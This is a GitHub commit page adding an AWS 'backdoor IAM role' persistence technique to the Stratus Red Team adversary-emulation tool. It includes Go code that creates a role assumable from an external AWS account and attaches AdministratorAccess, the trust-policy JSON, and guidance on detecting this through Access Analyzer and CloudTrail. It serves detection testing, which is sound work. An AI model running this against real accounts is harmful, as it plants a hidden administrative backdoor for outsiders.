-
Notifications
You must be signed in to change notification settings - Fork 229
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
add aws iam-create-backdoor-role attack technique
- Loading branch information
1 parent
c86741b
commit 93d6ba1
Showing
7 changed files
with
236 additions
and
0 deletions.
There are no files selected for viewing
83 changes: 83 additions & 0 deletions
83
docs/attack-techniques/AWS/aws.persistence.iam-create-backdoor-role.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,83 @@ | ||
--- | ||
title: Create a new backdoor IAM Role | ||
--- | ||
|
||
# Create a new backdoor IAM Role | ||
|
||
|
||
|
||
|
||
Platform: AWS | ||
|
||
## MITRE ATT&CK Tactics | ||
|
||
|
||
- Persistence | ||
|
||
## Description | ||
|
||
|
||
Establishes persistence by creating a backdoored new role with a policy allowing it to be assumed from an external AWS account and administrative permissions. | ||
|
||
<span style="font-variant: small-caps;">Warm-up</span>: None. | ||
|
||
<span style="font-variant: small-caps;">Detonation</span>: | ||
|
||
- Create a new IAM role with an assume role policy backdoored, making it accessible from an external, fictitious AWS account: | ||
|
||
``` | ||
{ | ||
"Version": "2012-10-17", | ||
"Statement": [ | ||
{ | ||
"Effect": "Allow", | ||
"Principal": { | ||
"Service": "ec2.amazonaws.com" | ||
}, | ||
"Action": "sts:AssumeRole" | ||
}, | ||
{ | ||
"Effect": "Allow", | ||
"Principal": { | ||
"AWS": "arn:aws:iam::193672423079:root" | ||
}, | ||
"Action": "sts:AssumeRole" | ||
} | ||
] | ||
} | ||
``` | ||
|
||
and attach the 'AdministratorAccess' managed IAM policy to it. | ||
|
||
References: | ||
|
||
- https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me | ||
|
||
|
||
## Instructions | ||
|
||
```bash title="Detonate with Stratus Red Team" | ||
stratus detonate aws.persistence.iam-create-backdoor-role | ||
``` | ||
## Detection | ||
|
||
|
||
- Through [IAM Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-iam-role), | ||
which generates a finding when a role can be assumed from a new AWS account or publicly. | ||
|
||
- Identify a call to <code>CreateRole</code> closely followed by <code>AttachRolePolicy</code> with an administrator policy. | ||
|
||
- Identify a call to <code>CreateRole</code> that contains an assumeRolePolicyDocument in the requestParameters that allows access from an external AWS account. Sample event: | ||
|
||
``` | ||
{ | ||
"eventSource": "iam.amazonaws.com", | ||
"eventName": "CreateRole", | ||
"requestParameters": { | ||
"roleName": "malicious-iam-role", | ||
"assumeRolePolicyDocument": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Action\": \"sts:AssumeRole\"\n },\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::193672423079:root\"\n },\n \"Action\": \"sts:AssumeRole\"\n }\n ]\n}" | ||
} | ||
} | ||
``` | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
123 changes: 123 additions & 0 deletions
123
v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role/main.go
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,123 @@ | ||
package aws | ||
|
||
import ( | ||
"context" | ||
_ "embed" | ||
"errors" | ||
"github.com/aws/aws-sdk-go-v2/service/iam" | ||
"github.com/datadog/stratus-red-team/v2/pkg/stratus" | ||
"github.com/datadog/stratus-red-team/v2/pkg/stratus/mitreattack" | ||
"log" | ||
) | ||
|
||
//go:embed malicious_policy.json | ||
var maliciousIamPolicy string | ||
|
||
var roleName string = "malicious-iam-role" | ||
var adminPolicyArn string = "arn:aws:iam::aws:policy/AdministratorAccess" | ||
|
||
func init() { | ||
const codeBlock = "```" | ||
stratus.GetRegistry().RegisterAttackTechnique(&stratus.AttackTechnique{ | ||
ID: "aws.persistence.iam-create-backdoor-role", | ||
FriendlyName: "Create a new backdoor IAM Role", | ||
Description: ` | ||
Establishes persistence by creating a backdoored new role with a policy allowing it to be assumed from an external AWS account and administrative permissions. | ||
Warm-up: None. | ||
Detonation: | ||
- Create a new IAM role with an assume role policy backdoored, making it accessible from an external, fictitious AWS account: | ||
` + codeBlock + ` | ||
` + maliciousIamPolicy + ` | ||
` + codeBlock + ` | ||
and attach the 'AdministratorAccess' managed IAM policy to it. | ||
References: | ||
- https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me | ||
`, | ||
Detection: ` | ||
- Through [IAM Access Analyzer](https://docs.aws.amazon.com/IAM/latest/UserGuide/access-analyzer-resources.html#access-analyzer-iam-role), | ||
which generates a finding when a role can be assumed from a new AWS account or publicly. | ||
- Identify a call to <code>CreateRole</code> closely followed by <code>AttachRolePolicy</code> with an administrator policy. | ||
- Identify a call to <code>CreateRole</code> that contains an assumeRolePolicyDocument in the requestParameters that allows access from an external AWS account. Sample event: | ||
` + codeBlock + ` | ||
{ | ||
"eventSource": "iam.amazonaws.com", | ||
"eventName": "CreateRole", | ||
"requestParameters": { | ||
"roleName": "malicious-iam-role", | ||
"assumeRolePolicyDocument": "{\n \"Version\": \"2012-10-17\",\n \"Statement\": [\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"Service\": \"ec2.amazonaws.com\"\n },\n \"Action\": \"sts:AssumeRole\"\n },\n {\n \"Effect\": \"Allow\",\n \"Principal\": {\n \"AWS\": \"arn:aws:iam::193672423079:root\"\n },\n \"Action\": \"sts:AssumeRole\"\n }\n ]\n}" | ||
} | ||
} | ||
` + codeBlock + ` | ||
`, | ||
Platform: stratus.AWS, | ||
IsIdempotent: false, // cannot create twice a role with the same name | ||
MitreAttackTactics: []mitreattack.Tactic{mitreattack.Persistence}, | ||
Detonate: detonate, | ||
Revert: revert, | ||
}) | ||
} | ||
|
||
func detonate(_ map[string]string, providers stratus.CloudProviders) error { | ||
iamClient := iam.NewFromConfig(providers.AWS().GetConnection()) | ||
|
||
log.Println("Creating a malicious IAM role") | ||
input := &iam.CreateRoleInput{ | ||
RoleName: &roleName, | ||
AssumeRolePolicyDocument: &maliciousIamPolicy, | ||
} | ||
|
||
_, err := iamClient.CreateRole(context.TODO(), input) | ||
if err != nil { | ||
return errors.New("Unable to create IAM role: " + err.Error()) | ||
} | ||
|
||
log.Println("IAM role created: " + roleName) | ||
|
||
|
||
attachPolicyInput := &iam.AttachRolePolicyInput{ | ||
RoleName: &roleName, | ||
PolicyArn: &adminPolicyArn, | ||
} | ||
|
||
_, err = iamClient.AttachRolePolicy(context.TODO(), attachPolicyInput) | ||
if err != nil { | ||
log.Fatalf("Unable to attach AdministratorAccess policy to IAM role: %v", err) | ||
} | ||
|
||
log.Println("AdministratorAccess policy attached successfully") | ||
return nil | ||
} | ||
|
||
func revert(_ map[string]string, providers stratus.CloudProviders) error { | ||
iamClient := iam.NewFromConfig(providers.AWS().GetConnection()) | ||
detachPolicyInput := &iam.DetachRolePolicyInput{ | ||
RoleName: &roleName, | ||
PolicyArn: &adminPolicyArn, | ||
} | ||
_, err := iamClient.DetachRolePolicy(context.TODO(), detachPolicyInput) | ||
if err != nil { | ||
return errors.New("Unable to detach policy from IAM role: " + err.Error()) | ||
} | ||
log.Println("Policy detached from IAM role: " + roleName) | ||
log.Println("Deleting IAM role " + roleName) | ||
input := &iam.DeleteRoleInput{ | ||
RoleName: &roleName, | ||
} | ||
_, err = iamClient.DeleteRole(context.TODO(), input) | ||
if err != nil { | ||
return errors.New("Unable to delete IAM role: " + err.Error()) | ||
} | ||
|
||
log.Println("IAM role deleted: " + roleName) | ||
return nil | ||
} |
19 changes: 19 additions & 0 deletions
19
v2/internal/attacktechniques/aws/persistence/iam-create-backdoor-role/malicious_policy.json
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,19 @@ | ||
{ | ||
"Version": "2012-10-17", | ||
"Statement": [ | ||
{ | ||
"Effect": "Allow", | ||
"Principal": { | ||
"Service": "ec2.amazonaws.com" | ||
}, | ||
"Action": "sts:AssumeRole" | ||
}, | ||
{ | ||
"Effect": "Allow", | ||
"Principal": { | ||
"AWS": "arn:aws:iam::193672423079:root" | ||
}, | ||
"Action": "sts:AssumeRole" | ||
} | ||
] | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters